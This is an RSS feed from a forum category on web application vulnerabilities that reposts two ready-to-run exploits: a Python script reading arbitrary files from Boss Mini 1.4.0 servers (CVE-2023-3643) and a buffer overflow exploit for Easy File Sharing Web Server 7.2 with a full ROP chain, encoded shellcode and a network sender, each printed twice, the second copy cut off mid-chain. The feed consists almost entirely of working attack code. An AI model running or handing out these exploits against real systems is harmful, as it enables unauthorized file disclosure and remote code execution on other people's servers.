<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/">
	<channel>
		<title><![CDATA[StucxTeam Forum - Web application vulnerabilities]]></title>
		<link>https://stucxteam.my/</link>
		<description><![CDATA[StucxTeam Forum - https://stucxteam.my]]></description>
		<pubDate>Sun, 02 Aug 2026 06:25:28 +0000</pubDate>
		<generator>MyBB</generator>
		<item>
			<title><![CDATA[Boss Mini v1.4.0 - Local File Inclusion (LFI)]]></title>
			<link>https://stucxteam.my/Thread-boss-mini-v1-4-0-local-file-inclusion-lfi</link>
			<pubDate>Sat, 14 Mar 2026 14:18:41 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://stucxteam.my/member.php?action=profile&uid=62">Ray Breslin</a>]]></dc:creator>
			<guid isPermaLink="false">https://stucxteam.my/Thread-boss-mini-v1-4-0-local-file-inclusion-lfi</guid>
			<description><![CDATA[# Exploit Title: Boss Mini v1.4.0 - Local File Inclusion (LFI)<br />
# Date: 07/12/2023<br />
# Exploit Author: nltt0<br />
# Version: 1.4.0 (Build 6221)<br />
# CVE: CVE-2023-3643<br />
<br />
from requests import post <br />
from urllib.parse import quote<br />
from argparse import ArgumentParser<br />
<br />
banner = r"""<br />
_____      _                              _____ <br />
/  __ \    | |                            /  ___|<br />
| /  \/ __ _| | __ _ _ __  __ _  ___  ___ \ `--. <br />
| |    / _` | |/ _` | '_ \ / _` |/ _ \/ __| `--. \<br />
| \__/\ (_| | | (_| | | | | (_| | (_) \__ \/\__/ /<br />
\____/\__,_|_|\__,_|_| |_|\__, |\___/|___/\____/ <br />
                            __/ |                <br />
                          |___/                  <br />
                <br />
        by nltt0 [<a href="https://github.com/nltt-br" target="_blank" rel="noopener" class="mycode_url">https://github.com/nltt-br</a>]<br />
        <br />
"""<br />
<br />
print(banner)<br />
<br />
try:<br />
    parser = ArgumentParser(description='Local file inclusion [Boss Mini]')<br />
    parser.add_argument('--domain', required=True, help='Application domain')<br />
    parser.add_argument('--file', required=True, help='Local file')<br />
<br />
    args = parser.parse_args()<br />
    host = args.domain<br />
    file = args.file<br />
    url = '{}/boss/servlet/document'.format(host)<br />
    file2 = quote(file, safe='')<br />
<br />
    headers = {<br />
        'Host': host,<br />
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0',<br />
        'Content-Type': 'application/x-www-form-urlencoded',<br />
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange',<br />
        'Referer': 'https://{}/boss/app/report/popup.html?/etc/passwd'.format(host)<br />
    }<br />
<br />
<br />
    data = {<br />
        'path': file2<br />
    }<br />
<br />
    try:<br />
        req = post(url, headers=headers, data=data, verify=False)<br />
        if req.status_code == 200:<br />
            print(req.text)<br />
<br />
    except Exception as e:<br />
        print('Error in {}'.format(e))  <br />
        <br />
<br />
except Exception as e:<br />
    print('Error in {}'.format(e))]]></description>
			<content:encoded><![CDATA[# Exploit Title: Boss Mini v1.4.0 - Local File Inclusion (LFI)<br />
# Date: 07/12/2023<br />
# Exploit Author: nltt0<br />
# Version: 1.4.0 (Build 6221)<br />
# CVE: CVE-2023-3643<br />
<br />
from requests import post <br />
from urllib.parse import quote<br />
from argparse import ArgumentParser<br />
<br />
banner = r"""<br />
_____      _                              _____ <br />
/  __ \    | |                            /  ___|<br />
| /  \/ __ _| | __ _ _ __  __ _  ___  ___ \ `--. <br />
| |    / _` | |/ _` | '_ \ / _` |/ _ \/ __| `--. \<br />
| \__/\ (_| | | (_| | | | | (_| | (_) \__ \/\__/ /<br />
\____/\__,_|_|\__,_|_| |_|\__, |\___/|___/\____/ <br />
                            __/ |                <br />
                          |___/                  <br />
                <br />
        by nltt0 [<a href="https://github.com/nltt-br" target="_blank" rel="noopener" class="mycode_url">https://github.com/nltt-br</a>]<br />
        <br />
"""<br />
<br />
print(banner)<br />
<br />
try:<br />
    parser = ArgumentParser(description='Local file inclusion [Boss Mini]')<br />
    parser.add_argument('--domain', required=True, help='Application domain')<br />
    parser.add_argument('--file', required=True, help='Local file')<br />
<br />
    args = parser.parse_args()<br />
    host = args.domain<br />
    file = args.file<br />
    url = '{}/boss/servlet/document'.format(host)<br />
    file2 = quote(file, safe='')<br />
<br />
    headers = {<br />
        'Host': host,<br />
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0',<br />
        'Content-Type': 'application/x-www-form-urlencoded',<br />
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange',<br />
        'Referer': 'https://{}/boss/app/report/popup.html?/etc/passwd'.format(host)<br />
    }<br />
<br />
<br />
    data = {<br />
        'path': file2<br />
    }<br />
<br />
    try:<br />
        req = post(url, headers=headers, data=data, verify=False)<br />
        if req.status_code == 200:<br />
            print(req.text)<br />
<br />
    except Exception as e:<br />
        print('Error in {}'.format(e))  <br />
        <br />
<br />
except Exception as e:<br />
    print('Error in {}'.format(e))]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Easy File Sharing Web Server v7.2 - Buffer Overflow]]></title>
			<link>https://stucxteam.my/Thread-easy-file-sharing-web-server-v7-2-buffer-overflow</link>
			<pubDate>Sat, 14 Mar 2026 14:17:25 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://stucxteam.my/member.php?action=profile&uid=62">Ray Breslin</a>]]></dc:creator>
			<guid isPermaLink="false">https://stucxteam.my/Thread-easy-file-sharing-web-server-v7-2-buffer-overflow</guid>
			<description><![CDATA[Vulnerable App:<br />
<br />
# Exploit title: Easy File Sharing Web Server v7.2 - Buffer Overflow<br />
# Date: 16/10/2025<br />
# Exploit Author: Donwor<br />
# X: @real_Donwor<br />
# Discord: Donwor<br />
# Website: <a href="https://github.com/D0nw0r" target="_blank" rel="noopener" class="mycode_url">https://github.com/D0nw0r</a><br />
# Software Link: <a href="https://www.exploit-db.com/apps/60f3ff1f3cd34dec80fba130ea481f31-efssetup.exe" target="_blank" rel="noopener" class="mycode_url">https://www.exploit-db.com/apps/60f3ff1f...ssetup.exe</a><br />
# Version: Easy File Sharing Web Server v7.2<br />
# Tested on: Windows 10,11<br />
#<br />
# Notes:<br />
# - I wanted to re-do other PoCs because I did not want to use mona rop chain, so instead I built my own for practice and I believe it can help others.<br />
# - The ROP chain was VERY challenging to build, mainly because there were a lot of limimitations when moving data between for example EAX and ESI<br />
# - based on DEP SEH buffer overflow exploit by Knaps (<a href="https://www.exploit-db.com/exploits/38829/" target="_blank" rel="noopener" class="mycode_url">https://www.exploit-db.com/exploits/38829/</a>)<br />
# - bad chars: '\x00' and '\x3b'<br />
<br />
<br />
<br />
import struct, sys, socket<br />
<br />
<br />
host = sys.argv[1]<br />
port = 80<br />
size = 5000<br />
<br />
<br />
rop = struct.pack("&lt;I", 0x1001ba81) # # MOV EAX,EBP # POP EDI # POP ESI # POP EBP # RETN    ** [ImageLoad.dll] **  |  {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;I", 0x41414141) # junk for pop edi<br />
rop += struct.pack("&lt;I", 0x41414141) # junk for pop edi<br />
rop += struct.pack("&lt;I", 0x41414141) # junk for ebp<br />
rop += struct.pack("&lt;I", 0x1001db66) # :  # POP ESI # RETN    ** [ImageLoad.dll] **  |  {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;I", 0xffffeff8) # pop esi to align eax, will point after the hybjks<br />
rop += struct.pack("&lt;I", 0x10022f45) #  # SUB EAX,ESI # POP EDI # POP ESI # RETN    ** [ImageLoad.dll] **  |  ascii {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;I", 0x41414141) #  # SUB EAX,ESI # POP EDI # POP ESI # RETN    ** [ImageLoad.dll] **  |  ascii {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;I", 0x41414141) #  # SUB EAX,ESI # POP EDI # POP ESI # RETN    ** [ImageLoad.dll] **  |  ascii {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;L", 0x61c0a798) # XCHG EAX,EDI # RETN    )<br />
rop += struct.pack("&lt;L", 0x1001d626) # :  # XOR ESI,ESI # RETN    ** [ImageLoad.dll] **  |  {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;L", 0x10021a3e) # (RVA : 0x00021a3e) : # ADD ESI,EDI # RETN 0x00    ** [ImageLoad.dll] **  |  ascii {PAGE_EXECUTE_READ}<br />
## Save ESP on ESI and EDI<br />
<br />
rop += struct.pack("&lt;L", 0x10015442) # :  # POP EAX # RETN<br />
rop += struct.pack("&lt;L", 0x1004D1FC) # VirtualAlloc Addr on IAT<br />
rop += struct.pack("&lt;L", 0x1002248c) # deref VirtualAlloc :  # MOV EAX,DWORD PTR [EAX] # RETN    ** [ImageLoad.dll] **  |  {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;L", 0x1001a8e3) # put virtualalloc addr on stack  # MOV DWORD PTR [ESI],EAX # OR EAX,0FFFFFFFF # POP ESI # POP EBX # RETN    ** [ImageLoad.dll] **  |  {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;L", 0x41414141) # junk pop esi<br />
rop += struct.pack("&lt;L", 0x41414141) # junk pop ebx<br />
rop += struct.pack("&lt;L", 0x1001d626) # prepare esi for another round XOR ESI,ESI # RETN    ** [ImageLoad.dll] **  |  {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;L", 0x10021a3e) # put original stack pointer in esi(RVA : 0x00021a3e) : # ADD ESI,EDI # RETN 0x00    ** [ImageLoad.dll] **  |  ascii {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;L", 0x1001715d) # increase esi to point 4 bytes more (next arg) (RVA : 0x0001715d) : # INC ESI # ADD AL,3A # RETN    ** [ImageLoad.dll] **  |  ascii {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
# Virtual Alloc on stack<br />
# Esi now has "SRP" we need to fill it<br />
# EDI still points to orignal one (Virtual alloc)<br />
<br />
<br />
rop += struct.pack("&lt;L", 0x1001f595) # Put SRP addr on eax MOV EAX,ESI # POP ESI # RETN    ** [ImageLoad.dll] **  |  {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;L", 0x41414141) # junk pop esi<br />
rop += struct.pack("&lt;L", 0x10019457) # ADD EAX,20 # RETN<br />
rop += struct.pack("&lt;L", 0x10019457) # ADD EAX,20 # RETN<br />
rop += struct.pack("&lt;L", 0x10019457) # ADD EAX,20 # RETN<br />
rop += struct.pack("&lt;L", 0x10019457) # ADD EAX,20 # RETN<br />
rop += struct.pack("&lt;L", 0x10019457) # ADD EAX,20 # RETN<br />
rop += struct.pack("&lt;L", 0x10019457) # ADD EAX,20 # RETN<br />
rop += struct.pack("&lt;L", 0x10019457) # ADD EAX,20 # RETN<br />
rop += struct.pack("&lt;L", 0x10019457) # ADD EAX,20 # RETN<br />
rop += struct.pack("&lt;L", 0x10019457) # ADD EAX,20 # RETN<br />
rop += struct.pack("&lt;L", 0x10019457) # ADD EAX,20 # RETN<br />
rop += struct.pack("&lt;L", 0x10019457) # ADD EAX,20 # RETN<br />
rop += struct.pack("&lt;L", 0x10019457) # ADD EAX,20 # RETN<br />
rop += struct.pack("&lt;L", 0x10019457) # ADD EAX,20 # RETN<br />
rop += struct.pack("&lt;L", 0x10019457) # eax now points to x more (can be changed)<br />
rop += struct.pack("&lt;L", 0x1001d626) # prepare esi for another round XOR ESI,ESI # RETN    ** [ImageLoad.dll] **  |  {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;L", 0x10021a3e) # put original stack pointer in esi # ADD ESI,EDI # RETN 0x00    ** [ImageLoad.dll] **  |  ascii {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;L", 0x1001e80b) # This immedeately patches SRP and VirtualAlloc 1st arg! MOV DWORD PTR [ESI+8],EAX # MOV DWORD PTR [ESI+4],EAX # POP ESI # RETN    ** [ImageLoad.dll] **  |  {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;L", 0x41414141) # junk pop esi<br />
<br />
# Virtual alloc | SRP | Shellcode Addr<br />
# edi -&gt; virtualalloc<br />
<br />
rop += struct.pack("&lt;L", 0x1001d626) # prepare esi for another round XOR ESI,ESI # RETN    ** [ImageLoad.dll] **  |  {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;L", 0x10021a3e) # put original stack pointer in esi # ADD ESI,EDI # RETN 0x00    ** [ImageLoad.dll] **  |  ascii {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;L", 0x1001715d) # increase esi to point 12 bytes more (-&gt;dwsize) # INC ESI # ADD AL,3A # RETN    ** [ImageLoad.dll] **  |  ascii {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001c15d) # XOR EAX,EAX # RETN) #<br />
rop += struct.pack("&lt;L", 0x10015442) # :  # POP EAX # RETN<br />
rop += struct.pack("&lt;L", 0xffffffff) # -1<br />
rop += struct.pack("&lt;L", 0x100231d1) # will turn eax into 1, second arg of virtualalloc NEG EAX # RETN    ** [ImageLoad.dll] **  |  {PAGE_EXECUTE_READ}) #<br />
rop += struct.pack("&lt;L", 0x1001a8e3) # patch arg  # MOV DWORD PTR [ESI],EAX # OR EAX,0FFFFFFFF # POP ESI # POP EBX # RETN    ** [ImageLoad.dll] **  |  {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;L", 0x41414141) # junk pop esi<br />
rop += struct.pack("&lt;L", 0x41414141) # junk pop ebx<br />
<br />
#VirtualAlloc | SRP | ShellcodeAddr | dwSize<br />
# edi -&gt; virtualalloc<br />
<br />
<br />
rop += struct.pack("&lt;L", 0x1001d626) # prepare esi for another round XOR ESI,ESI # RETN    ** [ImageLoad.dll] **  |  {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;L", 0x10021a3e) # put original stack pointer in esi # ADD ESI,EDI # RETN 0x00    ** [ImageLoad.dll] **  |  ascii {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;L", 0x1001715d) # increase esi to point 16 bytes more (-&gt;flAllocation Type) # INC ESI # ADD AL,3A # RETN    ** [ImageLoad.dll] **  |  ascii {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x10015442) # :  # POP EAX # RETN<br />
rop += struct.pack("&lt;I", 0xffffefff) #  value to pop eax now<br />
rop += struct.pack("&lt;L", 0x100231d1) # will turn eax into 1002  NEG EAX # RETN    ** [ImageLoad.dll] **  |  {PAGE_EXECUTE_READ}) #<br />
rop += struct.pack("&lt;I", 0x1001b7ca)# eax now 1000  # DEC EAX # RETN    ** [ImageLoad.dll] **  |  {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;L", 0x1001a8e3) # patch arg  # MOV DWORD PTR [ESI],EAX # OR EAX,0FFFFFFFF # POP ESI # POP EBX # RETN    ** [ImageLoad.dll] **  |  {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;L", 0x41414141) # junk pop esi<br />
rop += struct.pack("&lt;L", 0x41414141) # junk pop ebx<br />
<br />
#VirtualAlloc | SRP | ShellcodeAddr | dwSize | flAllocationType<br />
# edi -&gt; virtualalloc<br />
<br />
rop += struct.pack("&lt;L", 0x1001d626) # prepare esi for another round XOR ESI,ESI # RETN    ** [ImageLoad.dll] **  |  {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;L", 0x10021a3e) # put original stack pointer in esi # ADD ESI,EDI # RETN 0x00    ** [ImageLoad.dll] **  |  ascii {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;L", 0x1001715d) # increase esi to point 20 bytes more (-&gt;flProtect Type) # INC ESI # ADD AL,3A # RETN    ** [ImageLoad.dll] **  |  ascii {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x10015442) # :  # POP EAX # RETN<br />
rop += struct.pack("&lt;I", 0xffffffbf) # :  -41<br />
rop += struct.pack("&lt;L", 0x100231d1) # will turn eax into 41  NEG EAX # RETN    ** [ImageLoad.dll] **  |  {PAGE_EXECUTE_READ}) #<br />
rop += struct.pack("&lt;I", 0x1001b7ca)# eax now 40  # DEC EAX # RETN    ** [ImageLoad.dll] **  |  {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;L", 0x1001a8e3) # patch arg  # MOV DWORD PTR [ESI],EAX # OR EAX,0FFFFFFFF # POP ESI # POP EBX # RETN    ** [ImageLoad.dll] **  |  {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;L", 0x41414141) # junk pop esi<br />
rop += struct.pack("&lt;L", 0x41414141) # junk pop ebx<br />
<br />
#VirtualAlloc | SRP | ShellcodeAddr | dwSize | flAllocationType | flProtect<br />
# edi -&gt; virtualalloc<br />
<br />
<br />
rop += struct.pack("&lt;L", 0x61c0a798) # # XCHG EAX,EDI # RETN<br />
rop += struct.pack("&lt;L", 0x61c07ff8) # XCHG EAX,ESP # RETN<br />
<br />
# Just switch execution now, move the stack pointer to EDI (VirtualAlloc)<br />
<br />
<br />
sc =  b""<br />
sc += b"\x81\xc4\x24\xfa\xff\xff" # add esp , -1500<br />
sc += b"\xbd\x04\xae\x2a\x98\xdb\xce\xd9\x74\x24\xf4\x5b"<br />
sc += b"\x31\xc9\xb1\x5e\x83\xeb\xfc\x31\x6b\x11\x03\x6b"<br />
sc += b"\x11\xe2\xf1\x52\xc2\x17\xf9\xaa\x13\x48\xc8\x78"<br />
sc += b"\x9a\x6d\x4e\xf6\xcf\x5d\x05\x5a\xfc\x16\x4b\x4f"<br />
sc += b"\x77\x5a\x43\x60\x30\xd1\xb5\x4f\xc1\xd7\x79\x03"<br />
sc += b"\x01\x79\x05\x5e\x56\x59\x34\x91\xab\x98\x71\x67"<br />
sc += b"\xc1\x75\x2f\xf3\x7b\x9a\x44\x41\x40\xcd\x5b\x96"<br />
sc += b"\x33\xb1\x23\x93\x84\x46\x9f\x9a\xd4\xf7\x94\xc5"<br />
sc += b"\xf4\x7c\xe2\xed\xf5\x51\x77\xc4\x82\x69\x3e\xe6"<br />
sc += b"\x95\x19\xf4\x83\x6b\xc8\xc5\x53\xc7\x35\xea\x59"<br />
sc += b"\x19\x71\xcc\x81\x6c\x89\x2f\x3f\x77\x4a\x52\x9b"<br />
sc += b"\xf2\x4d\xf4\x68\xa4\xa9\x05\xbc\x33\x39\x09\x09"<br />
sc += b"\x37\x65\x0d\x8c\x94\x1d\x29\x05\x1b\xf2\xb8\x5d"<br />
sc += b"\x38\xd6\xe1\x06\x21\x4f\x4f\xe8\x5e\x8f\x37\x55"<br />
sc += b"\xfb\xdb\xd5\x80\x7b\x24\x26\xad\x21\xb3\xeb\x60"<br />
sc += b"\xda\x43\x63\xf2\xa9\x71\x2c\xa8\x25\x3a\xa5\x76"<br />
sc += b"\xb1\x4b\xa1\x88\x6d\xf3\xa1\x76\x8e\x04\xe8\xbc"<br />
sc += b"\xda\x54\x82\x15\x63\x3f\x52\x99\xb6\xaa\x58\x0d"<br />
sc += b"\xf9\x83\x64\xc7\x91\xd1\x94\xd6\xda\x5f\x72\x88"<br />
sc += b"\x4c\x30\x2a\x69\x3d\xf0\x9a\x01\x57\xff\xc5\x32"<br />
sc += b"\x58\xd5\x6e\xd8\xb7\x80\xc7\x75\x21\x89\x93\xe4"<br />
sc += b"\xae\x07\xde\x27\x24\xa2\x1f\xe9\xcd\xc7\x33\x1e"<br />
sc += b"\xaa\x27\xcb\xdf\x5f\x28\xa1\xdb\xc9\x7f\x5d\xe6"<br />
sc += b"\x2c\xb7\xc2\x19\x1b\xcb\x04\xe5\xda\xfa\x7f\xd0"<br />
sc += b"\x48\x43\x17\x1d\x9d\x43\xe7\x4b\xf7\x43\x8f\x2b"<br />
sc += b"\xa3\x17\xaa\x33\x7e\x04\x67\xa6\x81\x7d\xd4\x61"<br />
sc += b"\xea\x83\x03\x45\xb5\x7c\x66\xd5\xb2\x83\xf5\xf2"<br />
sc += b"\x1a\xec\x05\x43\x9b\xec\x6f\x43\xcb\x84\x64\x6c"<br />
sc += b"\xe4\x64\x85\xa7\xad\xec\x0c\x26\x1f\x8c\x11\x63"<br />
sc += b"\xc1\x10\x12\x80\xda\xa3\x69\xe9\xdd\x43\x8e\xe3"<br />
sc += b"\xb9\x43\x8f\x0b\xbc\x78\x46\x32\xca\xbf\x5b\x01"<br />
sc += b"\xd5\x5d\x71\x7c\x7e\xf8\x10\x3d\xe3\xfb\xcf\x02"<br />
sc += b"\x1a\x78\xe5\xfa\xd9\x60\x8c\xff\xa6\x26\x7d\x72"<br />
sc += b"\xb6\xc2\x81\x21\xb7\xc6"<br />
<br />
<br />
padding = b"\x45" * 4 # 4 bytes of padding because of the alignment, the add eax,20 instructions will make it so stack points 4 bytes after<br />
rop += padding<br />
rop += sc<br />
rop += b"\x42" * (1244 - len(rop))<br />
<br />
<br />
nseh = struct.pack("&lt;I", 0x43434343)<br />
seh = struct.pack("&lt;I", 0x10022877) # add esp, 1004; ret<br />
eax_offset = 4183<br />
<br />
buf = b"A" * 2811 # rop chain start after add esp 1004<br />
buf += rop<br />
buf += b"A" * (4059 - len(buf))  #nseh<br />
buf += nseh + seh<br />
buf += b"A" * (eax_offset - len(buf))<br />
buf += struct.pack("&lt;I", 0xffffffff) #" #make sure eax always trigger exception<br />
buf += b"A" * (size - len(buf))<br />
<br />
<br />
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br />
s.connect((host ,port))<br />
<br />
httpreq = (<br />
b"GET /changeuser.ghp HTTP/1.1\r\n"<br />
b"User-Agent: Mozilla/4.0\r\n"<br />
b"Host:" + host.encode() + b":" + str(port).encode() + b"\r\n"<br />
b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"<br />
b"Accept-Language: en-us\r\n"<br />
b"Accept-Encoding: gzip, deflate\r\n"<br />
b"Referer: http://" + host.encode() + b"/\r\n"<br />
b"Cookie: SESSIONID=6771; UserID=" + buf + b"; PassWD=;\r\n"<br />
b"Conection: Keep-Alive\r\n\r\n"<br />
)<br />
<br />
# Send payload to the server<br />
try:<br />
    if len(sys.argv) &lt; 2:<br />
        print("[!] Usage: python3 exploit.py &lt;IP of Server&gt;")<br />
        sys.exit(1)<br />
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br />
    s.connect((host, port))<br />
    s.send(httpreq)<br />
    s.close()<br />
    print("[+] Packet sent!")<br />
except:<br />
    print("[!] Could not connect to server / Exploit failed")<br />
    sys.exit(1)<br />
<br />
sys.exit(0)]]></description>
			<content:encoded><![CDATA[Vulnerable App:<br />
<br />
# Exploit title: Easy File Sharing Web Server v7.2 - Buffer Overflow<br />
# Date: 16/10/2025<br />
# Exploit Author: Donwor<br />
# X: @real_Donwor<br />
# Discord: Donwor<br />
# Website: <a href="https://github.com/D0nw0r" target="_blank" rel="noopener" class="mycode_url">https://github.com/D0nw0r</a><br />
# Software Link: <a href="https://www.exploit-db.com/apps/60f3ff1f3cd34dec80fba130ea481f31-efssetup.exe" target="_blank" rel="noopener" class="mycode_url">https://www.exploit-db.com/apps/60f3ff1f...ssetup.exe</a><br />
# Version: Easy File Sharing Web Server v7.2<br />
# Tested on: Windows 10,11<br />
#<br />
# Notes:<br />
# - I wanted to re-do other PoCs because I did not want to use mona rop chain, so instead I built my own for practice and I believe it can help others.<br />
# - The ROP chain was VERY challenging to build, mainly because there were a lot of limimitations when moving data between for example EAX and ESI<br />
# - based on DEP SEH buffer overflow exploit by Knaps (<a href="https://www.exploit-db.com/exploits/38829/" target="_blank" rel="noopener" class="mycode_url">https://www.exploit-db.com/exploits/38829/</a>)<br />
# - bad chars: '\x00' and '\x3b'<br />
<br />
<br />
<br />
import struct, sys, socket<br />
<br />
<br />
host = sys.argv[1]<br />
port = 80<br />
size = 5000<br />
<br />
<br />
rop = struct.pack("&lt;I", 0x1001ba81) # # MOV EAX,EBP # POP EDI # POP ESI # POP EBP # RETN    ** [ImageLoad.dll] **  |  {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;I", 0x41414141) # junk for pop edi<br />
rop += struct.pack("&lt;I", 0x41414141) # junk for pop edi<br />
rop += struct.pack("&lt;I", 0x41414141) # junk for ebp<br />
rop += struct.pack("&lt;I", 0x1001db66) # :  # POP ESI # RETN    ** [ImageLoad.dll] **  |  {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;I", 0xffffeff8) # pop esi to align eax, will point after the hybjks<br />
rop += struct.pack("&lt;I", 0x10022f45) #  # SUB EAX,ESI # POP EDI # POP ESI # RETN    ** [ImageLoad.dll] **  |  ascii {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;I", 0x41414141) #  # SUB EAX,ESI # POP EDI # POP ESI # RETN    ** [ImageLoad.dll] **  |  ascii {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;I", 0x41414141) #  # SUB EAX,ESI # POP EDI # POP ESI # RETN    ** [ImageLoad.dll] **  |  ascii {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;L", 0x61c0a798) # XCHG EAX,EDI # RETN    )<br />
rop += struct.pack("&lt;L", 0x1001d626) # :  # XOR ESI,ESI # RETN    ** [ImageLoad.dll] **  |  {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;L", 0x10021a3e) # (RVA : 0x00021a3e) : # ADD ESI,EDI # RETN 0x00    ** [ImageLoad.dll] **  |  ascii {PAGE_EXECUTE_READ}<br />
## Save ESP on ESI and EDI<br />
<br />
rop += struct.pack("&lt;L", 0x10015442) # :  # POP EAX # RETN<br />
rop += struct.pack("&lt;L", 0x1004D1FC) # VirtualAlloc Addr on IAT<br />
rop += struct.pack("&lt;L", 0x1002248c) # deref VirtualAlloc :  # MOV EAX,DWORD PTR [EAX] # RETN    ** [ImageLoad.dll] **  |  {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;L", 0x1001a8e3) # put virtualalloc addr on stack  # MOV DWORD PTR [ESI],EAX # OR EAX,0FFFFFFFF # POP ESI # POP EBX # RETN    ** [ImageLoad.dll] **  |  {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;L", 0x41414141) # junk pop esi<br />
rop += struct.pack("&lt;L", 0x41414141) # junk pop ebx<br />
rop += struct.pack("&lt;L", 0x1001d626) # prepare esi for another round XOR ESI,ESI # RETN    ** [ImageLoad.dll] **  |  {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;L", 0x10021a3e) # put original stack pointer in esi(RVA : 0x00021a3e) : # ADD ESI,EDI # RETN 0x00    ** [ImageLoad.dll] **  |  ascii {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;L", 0x1001715d) # increase esi to point 4 bytes more (next arg) (RVA : 0x0001715d) : # INC ESI # ADD AL,3A # RETN    ** [ImageLoad.dll] **  |  ascii {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
